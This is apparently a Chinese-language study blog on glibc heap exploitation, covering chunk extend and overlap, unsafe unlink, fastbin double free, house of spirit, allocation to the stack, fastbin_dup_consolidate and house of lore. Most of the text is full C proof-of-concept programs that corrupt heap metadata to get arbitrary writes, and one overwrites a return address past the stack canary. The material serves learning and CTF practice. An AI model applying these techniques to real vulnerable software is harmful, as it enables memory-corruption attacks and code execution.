heap_study

heap_study

1
2
3
4
5
6
7
8
9
10
11
12
13
14
+-------------------+  <- chunk起始地址(低地址)
| Prev Size (可选) |
+-------------------+
| Size |
+-------------------+
| fd |
+-------------------+
| bk |
+-------------------+
| |
| 用户数据 |
| |
+-------------------+ <- chunk结束地址(高地址)

Chunk Extend and Overlapping

条件

  • 程序中存在基于堆的漏洞
  • 漏洞可以控制 chunk header 中的数据

chunk extend可以做什么

这种技术并不能直接控制程序的执行流程,但是可以控制 chunk 中的内容。如果 chunk 存在字符串指针、函数指针等,就可以利用这些指针来进行信息泄漏和控制执行流程。此外通过 extend 可以实现 chunk overlapping,通过 overlapping 可以控制 chunk 的 fd/bk 指针从而可以实现 fastbin attack 等利用。

对inuse的fastbin进行extend

对inuse的smallbin进行extend

对 free 的 smallbin 进行 extend

与前一个相同只不过不需要防止与top_chunk合并

通过 extend 后向 overlapping

通过 extend 前向 overlapping


通过unlink进行向前的overlapping

unsafe_unlink(glibc2.31)

向前合并向后合并

当两个free的堆块在物理上相邻时,会将他们合并,并将原来free的堆块在原来的链表中解链,加入新的链表中。这里的向前即低地址的chunk而非fd,bk指针所指的chunk(向后同理),以当前chunk为基准,将next_free_chunk与当前chunk合并为向前合并,将previous_free_chunk与当前chunk合并为向后合并。

向后合并

1
2
3
4
5
6
7
8
9
10
/*malloc.c  int_free函数中*//*这里p指向当前malloc_chunk结构体,bck和fwd分别为当前chunk的向后和向前一个free chunk*/
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;//修改指向当前chunk的指针,指向前一个chunk。
p = chunk_at_offset(p, -((long) prevsize));
unlink(p, bck, fwd);
}
#define chunk_at_offset(p, s) ((mchunkptr)(((char*)(p)) + (s)))

向前合并

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward */
if (!nextinuse) {
unlink(nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);

#define clear_inuse_bit_at_offset(p, s)
(((mchunkptr)(((char*)(p)) + (s)))->size &= ~(PREV_INUSE))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#define unlink(AV, P, BK, FD) {                                            
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
......
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 20.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
printf("欢迎来到unsafe unlink 2.0!\n");
printf("在64位的Ubuntu 20.04上测试。\n");
printf("当你有一个已知位置的指针指向一个可以调用unlink的区域时,这种技术可以被使用。\n");
printf("最常见的场景是一个可以溢出的易受攻击的缓冲区并且有一个全局指针。\n");

int malloc_size = 0x420; // we want to be big enough not to use tcache or fastbin 我们希望大小足够大,不使用tcache或fastbin
int header_size = 2;

printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
printf("这个练习的目的是使用free来破坏全局chunk0_ptr以实现任意内存写入。\n\n");

chunk0_ptr = (uint64_t*) malloc(malloc_size); // chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); // chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("全局chunk0_ptr在%p,指向%p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("我们要破坏的受害者chunk在%p\n\n", chunk1_ptr);

printf("We create a fake chunk inside chunk0.\n");
printf("我们在chunk0内创建一个伪造的chunk。\n");
printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
printf("我们设置伪造chunk的大小,以便我们可以绕过在https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f中引入的检查\n");
chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
printf("我们将伪造chunk的'next_free_chunk' (fd)设置为指向接近&chunk0_ptr的位置,以便P->fd->bk = P。\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr - (sizeof(uint64_t) * 3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("我们将伪造chunk的'previous_free_chunk' (bk)设置为指向接近&chunk0_ptr的位置,以便P->bk->fd = P。\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
printf("通过这种设置,我们可以通过这个检查:(P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr - (sizeof(uint64_t) * 2);
printf("Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
printf("伪造chunk的fd: %p\n", (void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
printf("伪造chunk的bk: %p\n\n", (void*) chunk0_ptr[3]);

printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
printf("我们假设我们在chunk0中有一个溢出,可以自由地更改chunk1的元数据。\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("我们缩小chunk0的大小(存储为chunk1中的'previous_size'),以便free会认为chunk0从我们放置伪造chunk的位置开始。\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
printf("重要的是我们的伪造chunk正好从已知指针指向的位置开始,并且我们相应地缩小chunk。\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n", (void*)chunk1_hdr[0]);
printf("如果我们'正常'地释放了chunk0,chunk1.previous_size应该是0x430,但现在它的新值是:%p\n", (void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
printf("我们通过将chunk1的'previous_in_use'标记为False来标记我们的伪造chunk为已释放。\n\n");
chunk1_hdr[1] &= ~1;

printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("现在我们释放chunk1,以便向后合并时将unlink我们的伪造chunk,覆盖chunk0_ptr。\n");
printf("You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\n\n");
printf("你可以在https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612找到unlink_chunk函数的源代码\n\n");
free(chunk1_ptr);

printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
printf("此时我们可以使用chunk0_ptr覆盖自身以指向任意位置。\n");
char victim_string[8];
strcpy(victim_string, "Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("chunk0_ptr现在指向我们想要的位置,我们使用它来覆盖我们的受害字符串。\n");
printf("Original value: %s\n", victim_string);
printf("原始值:%s\n", victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n", victim_string);
printf("新值:%s\n", victim_string);

// sanity check 健全性检查
assert(*(long *)victim_string == 0x4141414142424242L);
}

分配完两个chunk后

我们利用chunk0_ptr构造一个fake_chunk来绕过unlink的检查


满足(P->fd->bk != P || P->bk->fd != P) == False

此时假设能实现堆溢出就可以修改chunk1的元数据
来使free认为chunk0为free,以便free(chunk1)后触发unlink
此时chunk_ptr指向chunk_ptr - 0x18

fastbin_attack

fastbin_double_free

Fastbin Double Free 能够成功利用主要有两部分的原因

  1. fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
  2. fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

以下是一个简单的演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>

typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK;

CHUNK bss_chunk;

int main(void)
{
void *chunk1,*chunk2,*chunk3;
void *chunk_a,*chunk_b;

bss_chunk.size=0x21;
chunk1=malloc(0x10);
chunk2=malloc(0x10);

free(chunk1);
free(chunk2);
free(chunk1);

chunk_a=malloc(0x10);
*(long long *)chunk_a=&bss_chunk;
malloc(0x10);
malloc(0x10);
chunk_b=malloc(0x10);
printf("%p",chunk_b);
return 0;
}

先进行两次申请

在进行三次释放此时

可以看到尾部的chunk1指向chunk2

修改后可以看到

house_of_spirit(glibc2.31)

1
2
house-of-spirit 是一种通过堆的 fast bin 机制来辅助栈溢出的方法
如果栈溢出的时候溢出的长度不能覆盖掉返回地址的但是却可以覆盖栈上面一个即将 free 的指针的话,我们可以把这个指针覆盖为栈上的某一个地址,并且把这个地址上伪造一个 chunk,free 之后再次 malloc 就可以申请到栈上面伪造的那一块,这时候就有可能改写返回地址了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);

puts("This file demonstrates the house of spirit attack.");
puts("本文件演示了 house of spirit 攻击。");

puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.");
puts("这种攻击将一个非堆指针添加到 fastbin,从而导致(几乎)任意写入。");

puts("Required primitives: known target address, ability to set up the start/end of the target memory");
puts("所需的基本操作:已知的目标地址,能够设置目标内存的起始/结束");

puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache");
puts("\n步骤 1:分配 7 个堆块并释放它们以填满 tcache");

void *chunks[7];
for(int i=0; i<7; i++) {
chunks[i] = malloc(0x30);
}
for(int i=0; i<7; i++) {
free(chunks[i]);
}

puts("\nStep 2: Prepare the fake chunk");
puts("\n步骤 2:准备伪造的堆块");

// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
// 这与 fastbinsY 无关(不要被 10 迷惑)- fake_chunks 只是用于分配的内存(由 fastbinsY 指向)
long fake_chunks[10] __attribute__ ((aligned (0x10)));

printf("The target fake chunk is at %p\n", fake_chunks);
printf("目标伪造堆块位于 %p\n", fake_chunks);

printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]);
printf("它包含两个堆块。第一个从 %p 开始,第二个从 %p 开始。\n", &fake_chunks[1], &fake_chunks[9]);

printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
printf("该区域的 chunk.size 必须比该区域大 16(以容纳堆块数据),同时仍属于 fastbin 类别(x64 上 <= 128)。对于 fastbin 大小的堆块,free 会忽略 PREV_INUSE(最低位)位,但 IS_MMAPPED(第二最低位)和 NON_MAIN_ARENA(第三最低位)位会引起问题。\n");

puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.");
puts("... 请注意,这必须是下一个 malloc 请求的大小,并四舍五入到 malloc 实现使用的内部大小。例如,在 x64 上,0x30-0x38 都会四舍五入到 0x40,因此它们适用于最后的 malloc 参数。");

printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]);
printf("现在将堆块的大小(%p)设置为 0x40,以便 malloc 认为它是一个有效的堆块。\n", &fake_chunks[1]);

fake_chunks[1] = 0x40; // this is the size // 这是大小

printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
printf("下一个伪造区域的 chunk.size 必须合理。即 > 2*SIZE_SZ(x64 上 > 16)&& < av->system_mem(主区域默认 < 128kb)以通过 nextsize 完整性检查。无需 fastbin 大小。\n");

printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]);
printf("将堆块的大小(%p)设置为 0x1234,以便释放第一个堆块可以成功。\n", &fake_chunks[9]);

fake_chunks[9] = 0x1234; // nextsize // 下一个大小

puts("\nStep 3: Free the first fake chunk");
puts("\n步骤 3:释放第一个伪造堆块");

puts("Note that the address of the fake chunk must be 16-byte aligned.\n");
puts("请注意,伪造堆块的地址必须是 16 字节对齐的。\n");

void *victim = &fake_chunks[2];
free(victim);

puts("\nStep 4: Take out the fake chunk");
puts("\n步骤 4:取出伪造堆块");

printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]);
printf("现在下一个 calloc 将返回我们的伪造堆块在 %p!\n", &fake_chunks[2]);

printf("malloc can do the trick as well, you just need to do it for 8 times.");
printf("malloc 也可以达到目的,你只需要做 8 次。\n");

void *allocated = calloc(1, 0x30);
printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);
printf("malloc(0x30):%p,伪造堆块:%p\n", allocated, victim);

assert(allocated == victim);
}

栈上还未进行构造的fake_chunks

我们将要将fake_chunks进行以下构造而绕过glibc的检查

下面是构造后的fake_chunks

构造 chunk 的时候要注意绕过一些检查:

后面那三个特殊的标志位前两个必须都为 0,构造 size 的时候直接 0x*0就可以了,然后大小要注意符合 fastbin 的大小,next chunk 的大小也要注意,必须大于 2*SIZE_SZ,小于 av->system_mem.64位下:16< next chunk 的 size < 128kb。

fastbin_dup_into_stack(Alloc to Stack)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long long stack_var;

fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

在UAF的基础上,修改chunk1的fd指针指向stack_var前的0x20的位置

此时main_arena指向了栈上,再malloc一次就分配到了栈上

Arbitrary Alloc

Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
void *chunk1;
void *chunk_a;

chunk1=malloc(0x60);

free(chunk1);

*(long long *)chunk1 = 0x7f9b4c45baf5 - 0x8;
malloc(0x60);
chunk_a=malloc(0x60);
return 0;
}

fd指针得出

1
2
3
4
5
6
7
8
//这里的size指用户区域,因此要小2倍SIZE_SZ
Fastbins[idx=0, size=0x10]
Fastbins[idx=1, size=0x20]
Fastbins[idx=2, size=0x30]
Fastbins[idx=3, size=0x40]
Fastbins[idx=4, size=0x50]
Fastbins[idx=5, size=0x60]
Fastbins[idx=6, size=0x70]

人工

可以看到0x7f9558141af5处能错位出一个0x000000000000007f的size域,可以在此构造一个0x70的fake_chunk,需要malloc 0x60的chunk

pwndbg

利用pwndbg的find_fake_fast指令第一个参数是想要overlap的地址,第二个参数是大小(要在fastbin的范围内)

fastbin_dup_consolidate

绕过tcache对double free的检查(latest)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main() {
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n");
printf("It would also allow us to perform tcache poisoning.\n\n");

printf("Lets fill up the tcache to force fastbin usage...\n\n");

void *ptr[7];

for(int i = 0; i < 7; i++)
ptr[i] = malloc(0x40);
for(int i = 0; i < 7; i++)
free(ptr[i]);

// void* ppoison = malloc(0x400);
// ^ We would have to allocate this to be able to do tcache poison later, since we need at least 2 chunks in a bin to do it.

void* p1 = calloc(1,0x40);
// Using calloc here doesn't take from the tcache since calloc calls _int_malloc (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3679)
// and taking from the tcache is handled in __libc_malloc. If we used malloc(0x40) the chunk would get taken from the tcache.

printf("Allocate another chunk of the same size p1=%p \n", p1);
printf("Freeing p1 will add it to the fastbin.\n\n");
free(p1);

void* p3 = malloc(0x400);

// free(ppoison);
// We can now free this chunk to put it in the tcache bin for the poison.

printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);

printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");

assert(p1 == p3);

printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
free(p1); // vulnerability

printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n");
printf("We have thus achieved UAF on tcache!\n");

// *(long long*)p3 = target;
// We can use the UAF here to perform tcache poison.

printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n");
printf("the tcache bin. p3 and p1 will still be pointing to it.\n");
void *p4 = malloc(0x400);

assert(p4 == p3);

printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4);
printf("We have achieved duplication!\n\n");

printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
printf("have behaved the same, just being taken from the top instead of from the tcache bin.");

return 0;
}

填充完tcache后calloc一个相同大小的chunk,free它后将会被放入fastbin中

随后malloc一个0x400的chunk触发malloc_consolidate此时p1 = p3

此时可以实现对p1的重释放

此时我们再malloc一个0x400的chunk就可以实现对tcache上的UAF(p3 = p4)

注意:这种复制也可以用于更大的块大小,块的行为相同,只是从 top 而不是从 tcache bin 中取出。

绕过fastbin 对 double free 的检查(glibc2.23)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

int main() {
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
//void* p1 = calloc(1,0x10);
void* p1 = malloc(0x10);
strcpy(p1, "AAAAAAAA");
//void* p2 = calloc(1,0x10);
void* p2 = malloc(0x10);
strcpy(p2, "BBBBBBBB");
fprintf(stderr, "申请两个 fastbin 范围内的 chunk: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "先 free p1\n");
free(p1);
void* p3 = malloc(0x400);
fprintf(stderr, "去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "因为 malloc_consolidate(), p1 会被放到 unsorted bin 中\n");
free(p1);
fprintf(stderr, "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n");
void* p4 = malloc(0x10);
strcpy(p4, "CCCCCCC");
void* p5 = malloc(0x10);
strcpy(p5, "DDDDDDDD");
fprintf(stderr, "现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: %p %p\n", p4, p5);
}

一开始calloc()两个0x10的chunk

先释放掉p1放到fastbin中

此时malloc一个 large chunk 即:void *p3 = malloc(0x400); 触发malloc_consolidate将fastbin中的chunk放入到smallbin或者unstoredbin

此时p1就不在fastbin中链表的头部了,就可以被再次free
那么p1就既在fastbin和smallbin中了

现在再进行两次malloc那么就都分配到p1
此时就实现了UAF

house_of_force(glibc2.31)

house_of_lore(glibc2.31)

1
House of Lore 的作用主要是利用 malloc 实现中的逻辑漏洞,在堆溢出攻击中实现任意内存写入。攻击者通过精心构造的堆块伪造和未检查的合并操作,可以欺骗 malloc 认为一个伪造的块是合法的堆块,从而进行任意内存写入。这种攻击技术允许攻击者修改全局变量、函数指针等关键数据,甚至可能实现远程代码执行,造成严重安全问题。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){


intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[4] = {0};
void* fake_freelist[7][4];

fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 20.04.2 - 64bit - glibc-2.31\n\n");

fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(0x100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

fprintf(stderr, "Allocating dummy chunks for using up tcache later\n");
void *dummies[7];
for(int i=0; i<7; i++) dummies[i] = malloc(0x100);

// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

fprintf(stderr, "Create a fake free-list on the stack\n");
for(int i=0; i<6; i++) {
fake_freelist[i][3] = fake_freelist[i+1];
}
fake_freelist[6][3] = NULL;
fprintf(stderr, "fake free-list at %p\n", fake_freelist);

fprintf(stderr, "Create a fake chunk on the stack\n");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;

fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

fprintf(stderr, "Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash "
"introduced by smallbin-to-tcache mechanism\n");
stack_buffer_2[3] = (intptr_t *)fake_freelist[0];

fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


fprintf(stderr, "Freeing dummy chunk\n");
for(int i=0; i<7; i++) free(dummies[i]);
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);

fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

//------------------------------------
fprintf(stderr, "Now take all dummies chunk in tcache out\n");
for(int i=0; i<7; i++) malloc(0x100);


fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

void *p3 = malloc(0x100);

fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(0x100);
fprintf(stderr, "p4 = malloc(0x100)\n");

fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);

fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode

long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}
  1. Small Bin Corruption Check (small bin 受损检查):
  • glibc 内存分配器在管理 small bin 时,会检查堆块的 fwdbk 指针,以确保它们指向正确的位置。这是为了防止堆块链表被破坏,从而导致潜在的内存损坏或安全漏洞。
  • 当内存分配器从 small bin 中分配或释放内存块时,它会检查每个堆块的 fwd(前向)和 bk(后向)指针。这些指针用于维护堆块链表,确保堆块能够正确插入和移除。
  • 如果链表中存在不一致(例如指针指向错误的内存位置),内存分配器会检测到并触发一个错误,防止恶意利用。
  1. Smallbin-to-Tcache Mechanism (small bin 转换为 tcache 机制):
  • glibc 引入了 tcache(thread cache)机制,以加速小块内存的分配和释放。tcache 通过维护每个线程的私有缓存,减少了全局锁争用。然而,small bin 和 tcache 之间的转换会进行额外的检查,以确保堆块链表的完整性和一致性。
  • 当内存块从 small bin 转移到 tcache 时,内存分配器会进行检查,以确保转移过程中的堆块链表没有损坏。这包括检查 fwdbk 指针的有效性,以及确保链表的完整性。
  • 这些检查可以防止攻击者通过伪造堆块链表来操纵内存分配过程。

首先申请一个smallbin的范围内的chunk-victim_chunk,再在栈上构造两个fake_chunk和一个freelist以绕过上面的保护机制

随后构造stack_buffer_1和stack_buffer_2的fd和bk指针

此时再malloc一个chunk以防止victim_chunk与top_chunk合并

随后再malloc一个large_chunk触发malloc_consolidate然后glibc会将victim_chunk由unstoredbin放入smallbin中
再将victim_chunk的fd指针改为stack_buffer_1
此时malloc一次将会malloc到victim_chunk,再malloc一次就会malloc到stack_buffer_1。